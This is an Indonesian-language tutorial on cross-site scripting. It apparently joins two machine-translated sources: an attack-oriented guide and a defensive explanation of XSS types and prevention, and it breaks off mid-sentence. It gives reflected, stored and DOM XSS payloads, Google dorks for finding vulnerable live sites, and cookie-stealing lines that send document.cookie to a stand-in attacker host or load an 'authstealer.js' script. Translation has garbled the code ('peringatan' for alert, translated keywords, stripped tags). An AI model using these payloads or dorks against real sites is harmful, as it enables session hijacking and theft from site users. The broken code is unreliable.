Memaksimalkan kerentanan XSS. Peretasan Mudah: Cara mengekstrak data melalui pelatihan serangan Xss Cross Site Scripting Inclusion
- 1.Apa itu XSS
- 2.Jenis XSS
- 3.Fitur XSS berbasis DOM
- 4.Auditor XSS
- 5.Contoh eksploitasi XSS
- 6.Cari situs yang rentan terhadap XSS
- 7.Program untuk mencari dan memindai kerentanan XSS
Skrip lintas situs (XSS) adalah kerentanan yang melibatkan penyuntikan kode sisi klien (JavaScript) ke halaman web yang dilihat pengguna lain.
Kerentanan ini disebabkan oleh kurangnya penyaringan data yang dikirimkan pengguna untuk dimasukkan ke dalam halaman web. Jauh lebih mudah untuk memahaminya dengan contoh nyata. Ingat buku tamu apa pun - ini adalah program yang dirancang untuk menerima data dari pengguna dan kemudian menampilkannya. Bayangkan buku tamu tidak memeriksa atau memfilter data yang dimasukkan dengan cara apa pun, tetapi hanya menampilkannya.
Anda dapat membuat sketsa skrip paling sederhana (tidak ada yang lebih mudah daripada menulis skrip buruk di PHP - banyak orang melakukan ini). Tapi sudah ada banyak pilihan yang sudah jadi. Misalnya, saya menyarankan memulai dengan Dojo dan OWASP Mutillidae II. Ada contoh serupa di sana. Di lingkungan Dojo yang berdiri sendiri, buka tautan ini di browser Anda: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Jika salah satu pengguna memasukkan:
Halo! Apa kabarmu.
Halaman web kemudian akan menampilkan:
Halo! Apa kabarmu.
Dan jika pengguna memasukkan ini:
Halo! Apa kabarmu. peringatan("Pwned")
Maka akan ditampilkan seperti ini:
Browser menyimpan banyak Cookie untuk sejumlah besar situs. Setiap situs hanya dapat menerima cookie yang disimpannya sendiri. Misalnya, example.com telah menyimpan beberapa cookie di browser Anda. Jika Anda mengunjungi another.com, situs ini (skrip klien dan server) tidak dapat mengakses cookie yang disimpan example.com.
Jika example.com rentan terhadap XSS, ini berarti kita dapat memasukkan kode JavaScript ke dalamnya, dan kode tersebut akan dieksekusi atas nama example.com! Itu. Kode ini, misalnya, akan mengakses cookie example.com.
Saya rasa semua orang ingat bahwa JavaScript dijalankan di browser pengguna, mis. di hadapan XSS, kode berbahaya yang tertanam mendapatkan akses ke data pengguna yang membuka halaman situs web.
Kode yang disematkan dapat melakukan semua hal yang dapat dilakukan JavaScript, yaitu:
- mendapatkan akses ke cookie situs web yang Anda lihat
- dapat membuat perubahan apa pun pada tampilan halaman
- mengakses papan klip
- dapat mengimplementasikan program JavaScript, misalnya keyloggers (pencegat keystroke)
- ambil BeEF
Contoh paling sederhana dengan cookie:
peringatan(dokumen.cookie)
Faktanya, alert hanya digunakan untuk mendeteksi XSS. Muatan berbahaya yang sebenarnya melakukan tindakan tersembunyi. Ia secara diam-diam menghubungi server jarak jauh penyerang dan mentransfer data yang dicuri ke server tersebut.
Jenis XSSHal yang paling penting untuk dipahami tentang jenis-jenis XSS adalah:
- Tersimpan (Permanen)
- Tercermin (Tidak Permanen)
Contoh konstanta:
- Pesan yang dibuat khusus yang dimasukkan oleh penyerang ke dalam buku tamu (komentar, pesan forum, profil), yang disimpan di server, diunduh dari server setiap kali pengguna meminta untuk menampilkan halaman ini.
- Penyerang memperoleh akses ke data server, misalnya, melalui injeksi SQL, dan memasukkan kode JavaScript berbahaya (dengan kilologger atau BeEF) ke dalam data yang diberikan kepada pengguna.
Contoh yang tidak permanen:
- Ada pencarian di situs yang, bersama dengan hasil pencarian, menampilkan sesuatu seperti “Anda mencari: [string pencarian]”, dan datanya tidak disaring dengan benar. Karena halaman tersebut hanya ditampilkan kepada orang yang memiliki link ke halaman tersebut, serangan tidak akan berhasil sampai penyerang mengirimkan link tersebut ke pengguna situs lainnya. Daripada mengirimkan link ke korban, Anda bisa menggunakan penempatan skrip berbahaya di situs netral yang dikunjungi korban.
Mereka juga membedakan (beberapa sebagai jenis kerentanan XSS non-persisten, ada pula yang mengatakan bahwa jenis ini juga dapat menjadi jenis XSS yang persisten):
- model DOM
Sederhananya, kita dapat melihat kode berbahaya XSS non-persisten “biasa” jika kita membuka kode HTML. Misalnya linknya dibentuk seperti ini:
Http://example.com/search.php?q="/>peringatan(1)
Dan ketika kita membuka kode HTML sumbernya, kita melihat sesuatu seperti ini:
< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >peringatan(1)" />< button type = "submit" class = "ui-button" >Menemukan
Dan DOM XSS mengubah struktur DOM yang dibentuk di browser dengan cepat, dan kita hanya dapat melihat kode berbahaya saat melihat struktur DOM yang dihasilkan. HTMLnya tidak berubah. Mari kita ambil kode ini sebagai contoh:
< html > < head > < title >situs web:::DOM XSS< meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >Terjadi kesalahan...< script >fungsi OnLoad() ( var foundFrag = get_fragment(); kembalikan foundFrag; ) fungsi get_fragment() ( var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");") if (hasil) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad(); document.write("ID sesi Anda adalah: " + display_session + "< br >< br >")
Kemudian di browser kita akan melihat:
Kode sumber halaman:
Mari kita bentuk alamatnya seperti ini:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);
Sekarang halamannya terlihat seperti ini:
Tapi mari kita lihat kode sumber HTML:
Tidak ada yang berubah sama sekali di sana. Inilah yang saya bicarakan, kita perlu melihat struktur DOM dokumen untuk mengidentifikasi kode berbahaya:
Ini adalah prototipe XSS yang berfungsi, untuk serangan nyata kita memerlukan muatan yang lebih kompleks, yang tidak mungkin dilakukan karena aplikasi berhenti membaca tepat setelah titik koma, dan sesuatu seperti alert(1);alert(2) tidak ada lebih lama mungkin. Namun, berkat unescape() kita dapat menggunakan payload seperti ini pada data yang dikembalikan:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);
Dimana kami mengganti simbol ; ke padanan yang dikodekan URI!
Kami sekarang dapat menulis muatan JavaScript berbahaya dan membuat tautan untuk dikirim ke korban, seperti yang dilakukan untuk skrip lintas situs non-persisten standar.
Auditor XSSDi Google Chrome (dan juga di Opera, yang sekarang menggunakan mesin Google Chrome), kejutan ini menanti saya:
dom_xss.html:30 Auditor XSS menolak mengeksekusi skrip di 'http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);' karena kode sumbernya ditemukan dalam permintaan . Auditor diaktifkan karena server tidak mengirimkan header 'X-XSS-Protection' atau 'Content-Security-Policy'.
Itu. browser sekarang memiliki auditor XSS yang akan mencoba mencegah XSS. Firefox belum memiliki fungsi ini, tapi menurut saya ini hanya masalah waktu saja. Jika implementasi di browser berhasil, maka kita dapat membicarakan kesulitan yang signifikan dalam menggunakan XSS.
Perlu diingat bahwa browser modern mengambil langkah-langkah untuk membatasi tingkat masalah eksploitatif seperti XSS non-persisten dan XSS berbasis DOM. Hal ini juga perlu diingat ketika menguji situs web menggunakan browser - mungkin aplikasi web tersebut rentan, tetapi Anda tidak melihat konfirmasi pop-up hanya karena browser memblokirnya.
Contoh eksploitasi XSSPenyerang yang ingin mengeksploitasi kerentanan skrip lintas situs harus melakukan pendekatan terhadap setiap kelas kerentanan secara berbeda. Vektor serangan untuk setiap kelas dijelaskan di sini.
Untuk kerentanan XSS, serangan dapat menggunakan BeEF, yang memperluas serangan dari situs web ke lingkungan lokal pengguna.
Contoh serangan XSS non-persisten
1. Alice sering mengunjungi situs web tertentu yang dihosting oleh Bob. Situs web Bob memungkinkan Alice untuk masuk dengan nama pengguna/kata sandi dan menyimpan data sensitif seperti informasi pembayaran. Saat pengguna masuk, browser menyimpan cookie otorisasi, yang terlihat seperti karakter tidak berarti, mis. kedua komputer (klien dan server) ingat bahwa dia masuk.
2. Mallory mencatat bahwa situs web Bob mengandung kerentanan XSS yang tidak persisten:
2.1 Saat Anda mengunjungi halaman pencarian, masukkan string pencarian dan klik tombol kirim, jika tidak ada hasil yang ditemukan, halaman akan menampilkan string pencarian yang dimasukkan diikuti dengan kata “tidak ditemukan” dan urlnya terlihat seperti http://bobssite .org?q= permintaan pencariannya
2.2 Dengan permintaan pencarian normal seperti kata "anjing", halaman hanya menampilkan "tidak ada anjing yang ditemukan" dan url http://bobssite.org?q=dogs, yang merupakan perilaku yang cukup normal.
2.3 Namun, ketika permintaan pencarian anomali seperti alert('xss'); :
2.3.1 Pesan peringatan (bertuliskan "xss") muncul.
2.3.2 Halaman ini menampilkan peringatan('xss'); tidak ditemukan disertai pesan kesalahan dengan teks 'xss'.
2.3.3 url cocok untuk eksploitasi http://bobssite.org?q=alert('xss');
3. Mallory membuat URL untuk mengeksploitasi kerentanan:
3.1 Dia membuat URL http://bobssite.org?q=puppies. Dia dapat memilih untuk mengonversi karakter ASCII ke format heksadesimal seperti http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E secara berurutan untuk mencegah orang segera mengartikan URL berbahaya.
3.2 Dia mengirim email ke beberapa anggota situs Bob yang tidak menaruh curiga dan mengatakan, "Lihatlah anjing-anjing keren itu."
4. Alice menerima surat. Dia menyukai anjing dan mengklik tautannya. Dia pergi ke situs Bob dalam pencarian, dia tidak menemukan apa pun, "tidak ada anjing yang ditemukan" ditampilkan di sana, dan di tengah-tengah sebuah tag dengan skrip diluncurkan (tidak terlihat di layar), mengunduh dan menjalankan Malory's program authstealer.js (memicu serangan XSS). Alice melupakannya.
5. Program authstealer.js berjalan di browser Alice seolah-olah berasal dari situs Bob. Dia mengambil salinan cookie otorisasi Alice dan mengirimkannya ke server Malory, tempat Malory mengambilnya.
7. Sekarang Malorie ada di dalam, dia pergi ke bagian pembayaran di situs web, mencari dan mencuri salinan nomor kartu kredit Alice. Lalu dia pergi dan mengubah kata sandi, mis. Sekarang Alice bahkan tidak bisa masuk lagi.
8. Dia memutuskan untuk mengambil langkah berikutnya dan mengirimkan tautan yang dibuat dengan cara ini ke Bob sendiri, dan dengan demikian menerima hak administratif untuk situs Bob.
Serangan XSS yang persisten
Dorks untuk XSS
Langkah pertama adalah memilih situs tempat kita akan melakukan serangan XSS. Situs dapat dicari menggunakan Google dorks. Berikut adalah beberapa hal konyol yang dapat Anda salin dan tempel ke pencarian Google:
- inurl:pencarian.php?q=
- inurl:.php?q=
- inurl:pencarian.php
- inurl:.php?pencarian=
Daftar situs akan terbuka di depan kita. Anda perlu membuka situs dan menemukan kolom masukan di dalamnya, seperti formulir umpan balik, formulir masukan, pencarian situs, dll.
Izinkan saya segera mencatat bahwa hampir tidak ada gunanya mencari kerentanan dalam aplikasi web populer yang diperbarui secara otomatis. Contoh klasik dari aplikasi semacam itu adalah WordPress. Faktanya, ada kerentanan di WordPress, dan terutama pada pluginnya. Selain itu, ada banyak situs yang tidak memperbarui mesin WordPress (karena webmaster membuat beberapa perubahan pada kode sumber) atau plugin dan temanya (biasanya, ini adalah plugin dan tema bajakan). Tetapi jika Anda membaca bagian ini dan mempelajari sesuatu yang baru darinya, maka WordPress belum cocok untuk Anda... Kami pasti akan kembali lagi nanti.
Sasaran terbaik adalah berbagai mesin dan skrip yang ditulis sendiri.
Anda dapat memilih masukkan payload sebagai
peringatan(1)
Perhatikan tag kode HTML mana yang termasuk dalam kode tersemat Anda. Berikut adalah contoh kolom masukan yang umum
< input type = "text" class = "ui-input query" name = "q" value = "sarung bantal" />< script >peringatan(1)< input value = "" />
Payload kita akan berakhir di tempat kata "sarung bantal" sekarang. Itu. berubah menjadi nilai tag input. Kita dapat menghindari hal ini dengan menutup tanda kutip ganda dan kemudian tag itu sendiri dengan “/>
"/>peringatan(1)
Program untuk mencari dan memindai kerentanan XSSMungkin semua pemindai aplikasi web memiliki pemindai kerentanan XSS bawaan. Topik ini tidak komprehensif; lebih baik mengenal setiap pemindai serupa secara terpisah.
Ada juga alat khusus untuk memindai kerentanan XSS. Diantaranya kami dapat menyoroti secara khusus:
- XSSer bukan hanya pemindai canggih yang dapat menggunakan berbagai metode penyuntikan dan melewati pemfilteran, tetapi juga merupakan alat otomatis untuk mencari situs yang rentan terhadap XSS (oleh dorks). Untuk situs yang ditemukan kerentanannya, ia dapat menyuntikkan muatan untuk serangan nyata;
- XssPy juga merupakan alat yang cukup independen yang dapat menemukan semua halaman situs (termasuk halaman di subdomain) dan memeriksa semua elemen masukan pada halaman tersebut;
- BruteXSS – fitur positif dari alat ini adalah pengecualian total terhadap positif palsu.
Sebagian besar kumpulan aplikasi web yang rentan (kecuali beberapa aplikasi yang sangat terspesialisasi) berisi situs yang rentan terhadap XSS. Pilihan terbaik adalah menggunakannya di lingkungan pembelajaran offline Dojo, yang telah mengumpulkan banyak aplikasi untuk pengujian. Misalnya, Anda dapat melatih keterampilan Anda dalam mengidentifikasi dan mengeksploitasi XSS dengan:
Aplikasi Web Rentan (DVWA):
- http://localhost/dvwa/vulnerabilities/xss_r/ (XSS tidak persisten)
- http://localhost/dvwa/vulnerabilities/xss_s/ (XSS tersimpan)
Mutillidae/NOWASP (banyak variasi XSS yang berbeda)
- http://localhost/mutillidae/
Dan merupakan tutorial komprehensif tentang skrip lintas situs.
Bagian Satu: Ikhtisar Apa itu XSS?Skrip lintas situs ( Bahasa inggris Skrip lintas situs) adalah serangan injeksi kode yang memungkinkan penyerang mengeksekusi JavaScript berbahaya di browser pengguna lain.
Penyerang tidak menyerang korbannya secara langsung. Sebaliknya, ia mengeksploitasi kerentanan di situs web yang dikunjungi korban dan menyuntikkan kode JavaScript berbahaya. Di browser korban, JavaScript berbahaya muncul sebagai bagian sah dari situs web, dan situs web itu sendiri bertindak sebagai kaki tangan langsung penyerang.
Injeksi kode JavaScript berbahayaSatu-satunya cara bagi penyerang untuk menjalankan JavaScript berbahaya di browser korban adalah dengan menyuntikkannya ke salah satu halaman yang dimuat korban dari situs web. Hal ini dimungkinkan jika situs web mengizinkan pengguna memasukkan data pada halamannya, dan penyerang dapat memasukkan string yang akan terdeteksi sebagai bagian dari kode di browser korban.
Contoh di bawah ini menunjukkan skrip sisi server sederhana yang digunakan untuk menampilkan komentar terbaru di sebuah situs:
cetak ""
cetak "Komentar terakhir:"
cetak database.komentar terbaru
cetak ""
Script mengasumsikan bahwa komentar hanya terdiri dari teks. Namun, karena input pengguna langsung diaktifkan, penyerang dapat meninggalkan komentar ini: "...". Setiap pengguna yang mengunjungi halaman tersebut sekarang akan menerima respons berikut:
Komentar terakhir:
...
Saat browser pengguna memuat halaman, ia akan mengeksekusi semuanya, termasuk kode JavaScript yang terdapat di dalam file . Penyerang berhasil melakukan penyerangan.
Apa itu JavaScript berbahaya?Kemampuan untuk mengeksekusi JavaScript di browser korban mungkin tidak terlalu berbahaya. JavaScript berjalan di lingkungan yang sangat terbatas yang memiliki akses sangat terbatas ke file pengguna dan sistem operasi. Faktanya, Anda dapat membuka konsol JavaScript di browser Anda sekarang dan menjalankan JavaScript apa pun yang Anda inginkan, dan kecil kemungkinannya Anda akan dapat membahayakan komputer Anda.
Namun, potensi kode JavaScript untuk bertindak sebagai kode berbahaya menjadi lebih jelas jika Anda mempertimbangkan fakta berikut:
- JavaScript memiliki akses ke beberapa informasi sensitif pengguna, seperti cookie.
- JavaScript dapat mengirim permintaan HTTP dengan konten arbitrer ke segala arah menggunakan XMLHttpRequest dan mekanisme lainnya.
- JavaScript dapat membuat perubahan sewenang-wenang pada kode HTML halaman saat ini menggunakan teknik manipulasi DOM.
Jika digabungkan, fakta-fakta ini dapat menyebabkan pelanggaran keselamatan yang sangat serius, berikut rinciannya.
Konsekuensi dari kode JavaScript berbahayaSelain itu, kemampuan untuk mengeksekusi JavaScript secara sewenang-wenang di browser pengguna lain memungkinkan penyerang melakukan jenis serangan berikut:
Pencurian kue
Penyerang dapat mengakses cookie terkait situs web korban menggunakan document.cookie , mengirimkannya ke server mereka sendiri, dan menggunakannya untuk mengekstrak informasi sensitif seperti ID sesi.
pencatat kunci
Penyerang dapat mendaftarkan pendengar peristiwa keyboard menggunakan addEventListener dan kemudian mengirimkan semua penekanan tombol pengguna ke server mereka, yang berpotensi merekam informasi sensitif seperti kata sandi dan nomor kartu kredit.
Pengelabuan
penyerang dapat memasukkan formulir login palsu ke dalam halaman menggunakan manipulasi DOM, mengatur atribut tindakan formulir ke server mereka sendiri, dan kemudian mengelabui pengguna agar mendapatkan informasi sensitif.
Meskipun serangan-serangan ini berbeda secara signifikan, semuanya memiliki satu kesamaan yang signifikan: karena penyerang memasukkan kode ke halaman yang disajikan oleh situs web, JavaScript berbahaya dieksekusi dalam konteks situs web tersebut. Artinya, skrip tersebut diperlakukan seperti skrip lainnya dari situs tersebut: skrip tersebut memiliki akses ke data korban untuk situs web tersebut (seperti cookie) dan nama host yang ditampilkan di bilah URL akan sama dengan nama host situs web tersebut. Untuk semua tujuan, skrip dianggap sebagai bagian sah dari situs web, memungkinkannya melakukan apa pun yang dapat dilakukan oleh situs web itu sendiri.
Fakta ini menyoroti isu utama:
Jika penyerang dapat menggunakan situs web Anda untuk mengeksekusi kode JavaScript arbitrer di browser pengguna lain, keamanan situs web Anda dan penggunanya akan terancam.
Untuk menekankan hal ini, beberapa contoh skrip berbahaya dalam tutorial ini akan dibiarkan tanpa detail, menggunakan.... Hal ini menunjukkan bahwa kehadiran skrip yang disuntikkan oleh penyerang saja sudah merupakan masalah, terlepas dari kode skrip spesifik apa yang sebenarnya sedang dieksekusi.
Bagian kedua: Serangan XSS Peserta serangan XSSSebelum kita menjelaskan secara detail cara kerja serangan XSS, kita perlu mendefinisikan aktor yang terlibat dalam serangan XSS. Secara umum, ada tiga pihak yang terlibat dalam serangan XSS: situs web, korban, dan penyerang.
- Situs web menyediakan halaman HTML kepada pengguna yang memintanya. Dalam contoh kami, ini terletak di http://website/.
- Database website merupakan database yang menyimpan sebagian data yang dimasukkan oleh pengguna pada halaman suatu website.
- Korbannya adalah pengguna biasa situs web yang meminta halaman dari situs tersebut menggunakan browser mereka.
- Penyerang adalah penyerang yang bermaksud melancarkan serangan terhadap korban dengan memanfaatkan kerentanan XSS pada suatu website.
- Server penyerang adalah server web yang dikendalikan oleh penyerang dengan tujuan mencuri informasi rahasia korban. Dalam contoh kami, lokasinya di http://penyerang/.
window.lokasi="http://penyerang/?cookie="+document.cookie
Skrip ini akan membuat permintaan HTTP ke URL lain, yang akan mengarahkan browser pengguna ke server penyerang. URL menyertakan cookie korban sebagai parameter permintaan, ketika permintaan HTTP datang ke server penyerang, penyerang dapat mengekstrak cookie ini dari permintaan tersebut. Setelah penyerang menerima cookie, dia dapat menggunakannya untuk menyamar sebagai korban dan melancarkan serangan berikutnya.
Mulai sekarang, kode HTML yang ditunjukkan di atas akan disebut string berbahaya atau skrip berbahaya. Penting untuk dipahami bahwa string itu sendiri hanya berbahaya jika pada akhirnya dirender sebagai HTML di browser korban, dan ini hanya dapat terjadi jika terdapat kerentanan XSS di situs web.
Bagaimana contoh serangan ini bekerjaDiagram di bawah ini menunjukkan contoh serangan yang dilakukan oleh penyerang:
Tujuan serangan XSS adalah untuk mengeksekusi skrip JavaScript berbahaya di browser korban. Ada beberapa cara yang berbeda secara mendasar untuk mencapai tujuan ini. Serangan XSS sering dibagi menjadi tiga jenis:
- XSS yang disimpan (persisten), tempat string berbahaya berasal dari database situs web.
- XSS yang tercermin (non-persisten), di mana string berbahaya dihasilkan dari permintaan korban.
- DOM XSS, di mana kerentanan terjadi pada kode sisi klien, bukan kode sisi server.
Contoh sebelumnya menunjukkan serangan XSS yang tersimpan. Kami sekarang akan menjelaskan dua jenis serangan XSS lainnya: serangan XSS yang dipantulkan dan serangan DOM XSS.
XSS yang dipantulkanDalam serangan XSS yang direfleksikan, string berbahaya adalah bagian dari permintaan korban ke situs web. Situs menerima dan memasukkan string berbahaya ini ke dalam respons yang dikirim kembali ke pengguna. Diagram di bawah menggambarkan skenario ini:
Bagaimana cara berhasil melakukan serangan XSS yang dipantulkan?
Serangan XSS yang direfleksikan mungkin tampak tidak berbahaya karena mengharuskan korban mengirimkan permintaan atas nama mereka yang berisi string berbahaya. Karena tidak ada seorang pun yang secara sukarela menyerang dirinya sendiri, tampaknya tidak ada cara untuk benar-benar melakukan serangan tersebut.
Ternyata, setidaknya ada dua cara umum yang membuat korban melancarkan serangan XSS terhadap dirinya sendiri:
- Jika pengguna adalah orang tertentu, penyerang dapat mengirimkan URL berbahaya kepada korban (misalnya, melalui email atau pesan instan), dan menipunya agar membuka tautan untuk mengunjungi situs web.
- Jika targetnya adalah sekelompok besar pengguna, penyerang dapat memposting tautan ke URL berbahaya (misalnya di situs web atau jejaring sosialnya sendiri) dan menunggu pengunjung mengeklik tautan tersebut.
Kedua metode ini serupa, dan keduanya bisa lebih berhasil menggunakan layanan pemendekan URL yang akan menutupi string berbahaya dari pengguna yang mungkin dapat mengidentifikasinya.
XSS di DOMXSS di DOM adalah varian dari serangan XSS yang disimpan dan dipantulkan. Dalam serangan XSS ini, string berbahaya tidak diproses oleh browser korban hingga JavaScript situs web yang sebenarnya dijalankan. Diagram di bawah mengilustrasikan skenario serangan XSS yang direfleksikan:
Dalam contoh serangan XSS yang disimpan dan direfleksikan sebelumnya, server memasukkan skrip berbahaya ke dalam halaman, yang kemudian diteruskan sebagai respons ke korban. Saat browser korban menerima respons, browser tersebut berasumsi bahwa skrip jahat tersebut adalah bagian dari konten sah laman dan secara otomatis mengeksekusinya saat laman dimuat, sama seperti skrip lainnya.
Dalam contoh serangan XSS di DOM, skrip berbahaya tidak disisipkan sebagai bagian dari halaman; satu-satunya skrip yang dijalankan secara otomatis saat halaman dimuat adalah bagian halaman yang sah. Masalahnya adalah skrip yang sah ini secara langsung menggunakan masukan pengguna untuk menambahkan HTML ke halaman. Karena string berbahaya dimasukkan ke dalam halaman menggunakan innerHTML , string tersebut diurai sebagai HTML, menyebabkan skrip berbahaya dieksekusi.
Perbedaan ini kecil, namun sangat penting:
- Dalam XSS tradisional, JavaScript berbahaya dijalankan saat halaman dimuat, sebagai bagian dari HTML yang dikirim oleh server.
- Dalam kasus XSS di DOM, JavaScript berbahaya dieksekusi setelah halaman dimuat, menyebabkan halaman JavaScript yang sah mengakses input pengguna (berisi string berbahaya) dengan cara yang tidak aman.
JavaScript tidak diperlukan pada contoh sebelumnya; server dapat menghasilkan semua HTML dengan sendirinya. Jika kode sisi server tidak mengandung kerentanan, situs web tidak akan rentan terhadap kerentanan XSS.
Namun, seiring dengan semakin canggihnya aplikasi web, semakin banyak halaman HTML yang dibuat menggunakan JavaScript di sisi klien daripada di server. Kapan saja konten harus berubah tanpa menyegarkan seluruh halaman, hal ini dapat dilakukan dengan menggunakan JavaScript. Secara khusus, ini adalah kasus ketika halaman di-refresh setelah permintaan AJAX.
Artinya, kerentanan XSS tidak hanya terdapat pada kode sisi server situs Anda, namun juga pada kode JavaScript sisi klien situs Anda. Oleh karena itu, bahkan dengan kode sisi server yang benar-benar aman, kode klien mungkin masih tidak menyertakan input pengguna dengan aman saat memperbarui DOM setelah halaman dimuat. Jika ini terjadi, kode sisi klien akan memungkinkan serangan XSS terjadi bukan karena kesalahan kode sisi server.
XSS berbasis DOM mungkin tidak terlihat oleh serverAda kasus khusus serangan XSS di DOM di mana string berbahaya tidak pernah dikirim ke server situs web: ini terjadi ketika string berbahaya terdapat di bagian pengidentifikasi URL (apa pun setelah simbol #). Browser tidak mengirimkan bagian URL ini ke server, sehingga situs web tidak dapat mengaksesnya menggunakan kode sisi server. Namun, kode sisi klien memiliki akses ke sana, sehingga memungkinkan untuk melakukan serangan XSS melalui pemrosesan yang tidak aman.
Kasus ini tidak terbatas pada ID fragmen. Ada masukan pengguna lain yang tidak terlihat oleh server, seperti fitur HTML5 baru seperti LocalStorage dan IndexedDB.
Bagian ketiga:Pencegahan XSS Teknik Pencegahan XSS
Ingatlah bahwa XSS adalah serangan injeksi kode: masukan pengguna disalahartikan sebagai kode berbahaya. Untuk mencegah injeksi kode jenis ini, diperlukan penanganan input yang aman. Bagi pengembang web, ada dua cara berbeda secara mendasar untuk melakukan pemrosesan masukan yang aman:
- Encoding adalah metode yang memungkinkan pengguna memasukkan data hanya sebagai data dan tidak memungkinkan browser memprosesnya sebagai kode.
- Validasi adalah cara memfilter masukan pengguna sehingga browser menafsirkannya sebagai kode tanpa perintah jahat.
Meskipun metode mitigasi XSS ini berbeda secara mendasar, keduanya memiliki beberapa fitur umum yang penting untuk dipahami saat menggunakan salah satu metode tersebut:
Penanganan input Context Secure harus dilakukan secara berbeda tergantung pada halaman mana input pengguna digunakan. masuk/keluar Pemrosesan masukan yang aman dapat dilakukan saat situs Anda menerima masukan (lalu lintas masuk) atau tepat sebelum situs memasukkan masukan pengguna ke dalam konten halaman (keluar). Pemrosesan input Aman Klien/Server dapat dilakukan di sisi klien atau sisi server, setiap opsi diperlukan dalam keadaan yang berbeda.
Sebelum menjelaskan secara detail cara kerja coding dan validasi, kami akan menjelaskan masing-masing poin tersebut.
Menangani masukan pengguna dalam konteksAda banyak konteks di halaman web tempat masukan pengguna dapat diterapkan. Untuk masing-masing kode tersebut, aturan khusus harus dipatuhi untuk memastikan bahwa masukan pengguna tidak dapat lepas dari konteksnya dan tidak dapat ditafsirkan sebagai kode berbahaya. Berikut ini adalah konteks yang paling umum:
Mengapa konteks penting?Dalam semua konteks yang dijelaskan, kerentanan XSS dapat terjadi jika input pengguna dimasukkan sebelum pengkodean atau validasi pertama. Penyerang dapat memasukkan kode berbahaya hanya dengan menyisipkan pembatas penutup untuk konteks ini diikuti dengan kode berbahaya.
Misalnya, jika suatu saat situs web memasukkan masukan pengguna secara langsung ke dalam atribut HTML, penyerang dapat memasukkan skrip berbahaya dengan memulai masukan mereka dengan tanda kutip, seperti yang ditunjukkan di bawah ini:
Hal ini dapat dicegah hanya dengan menghapus semua tanda kutip pada input pengguna dan semuanya akan baik-baik saja, tetapi hanya dalam konteks ini. Jika masukan dimasukkan ke dalam konteks yang berbeda, pembatas penutup akan berbeda dan injeksi dapat dilakukan. Oleh karena itu, penanganan input yang aman harus selalu disesuaikan dengan konteks di mana input pengguna akan dimasukkan.
Menangani input pengguna yang masuk/keluarSecara naluriah, tampaknya XSS dapat dicegah dengan menyandikan atau memvalidasi semua masukan pengguna segera setelah situs kami menerimanya. Dengan cara ini, string jahat apa pun akan dinetralisir setiap kali string tersebut disertakan dalam halaman, dan skrip pembuatan HTML tidak perlu khawatir dalam menangani input pengguna dengan aman.
Masalahnya adalah, seperti dijelaskan sebelumnya, input pengguna dapat dimasukkan ke dalam beberapa konteks pada satu halaman. Dan tidak ada cara mudah untuk menentukan kapan masukan pengguna masuk ke dalam suatu konteks - bagaimana masukan tersebut pada akhirnya akan dimasukkan, dan masukan pengguna yang sama sering kali perlu dimasukkan dalam konteks yang berbeda. Dengan mengandalkan pemrosesan masukan yang masuk untuk mencegah XSS, kami menciptakan solusi yang sangat rapuh yang rawan kesalahan. ("Kutipan ajaib" PHP lama adalah contoh dari solusi semacam itu.)
Sebaliknya, pemrosesan masukan keluar harus menjadi garis pertahanan utama Anda terhadap XSS karena dapat mempertimbangkan konteks spesifik masukan pengguna yang akan dimasukkan. Sampai batas tertentu, validasi masuk dapat digunakan untuk menambahkan lapisan keamanan sekunder, namun akan dibahas lebih lanjut nanti.
Di mana mungkin menangani masukan pengguna dengan aman?Di sebagian besar aplikasi web modern, input pengguna diproses di sisi server dan sisi klien. Untuk melindungi terhadap semua jenis XSS, penanganan input yang aman harus dilakukan dalam kode sisi server dan sisi klien.
- Untuk melindungi terhadap XSS tradisional, penanganan input yang aman harus dilakukan dalam kode sisi server. Hal ini dilakukan dengan menggunakan beberapa bahasa yang didukung oleh server.
- Untuk melindungi terhadap serangan XSS di DOM, ketika server tidak pernah menerima string berbahaya (seperti serangan fragmen pengidentifikasi yang dijelaskan sebelumnya), penanganan input yang aman harus dilakukan dalam kode sisi klien. Ini dilakukan dengan menggunakan JavaScript.
Sekarang kita telah menjelaskan mengapa konteks itu penting, mengapa perbedaan antara pemrosesan input masuk dan keluar itu penting, dan mengapa pemrosesan input yang aman harus dilakukan di kedua sisi, sisi klien dan sisi server, kita dapat menjelaskan bagaimana keduanya jenis pemrosesan input aman (pengkodean dan validasi) sebenarnya dilakukan.
PengkodeanPengkodean adalah jalan keluar dari situasi di mana browser perlu menafsirkan input pengguna hanya sebagai data, bukan kode. Jenis pengkodean paling populer dalam pengembangan web adalah masking HTML, yang mengubah karakter seperti< и >V< и >masing-masing.
Pseudocode berikut adalah contoh bagaimana input pengguna (user input) dapat dikodekan menggunakan masking HTML dan kemudian dimasukkan ke dalam halaman menggunakan skrip sisi server:
cetak ""
cetak "Komentar terakhir:"
cetak encodeHtml(Input pengguna)
cetak ""
Jika pengguna memasukkan baris berikut..., maka hasil HTMLnya akan seperti ini:
Komentar terakhir:
...
Karena semua karakter dengan arti khusus telah di-escape, browser tidak akan mengurai bagian mana pun dari input pengguna seperti HTML.
Pengkodean kode sisi klien dan serverSaat melakukan pengkodean sisi klien, JavaScript selalu digunakan, yang memiliki fungsi bawaan yang mengkodekan data untuk konteks berbeda.
Saat melakukan pengkodean dalam kode sisi server, Anda mengandalkan fitur yang tersedia dalam bahasa atau kerangka kerja Anda. Karena banyaknya bahasa dan kerangka kerja yang tersedia, tutorial ini tidak akan membahas detail pengkodean dalam bahasa atau kerangka server tertentu. Namun, fungsi pengkodean JavaScript yang digunakan di sisi klien juga digunakan saat menulis kode di sisi server.
Pengkodean sisi klienSaat mengkodekan input pengguna sisi klien menggunakan JavaScript, ada beberapa metode dan properti bawaan yang secara otomatis mengkodekan semua data dalam gaya peka konteks:
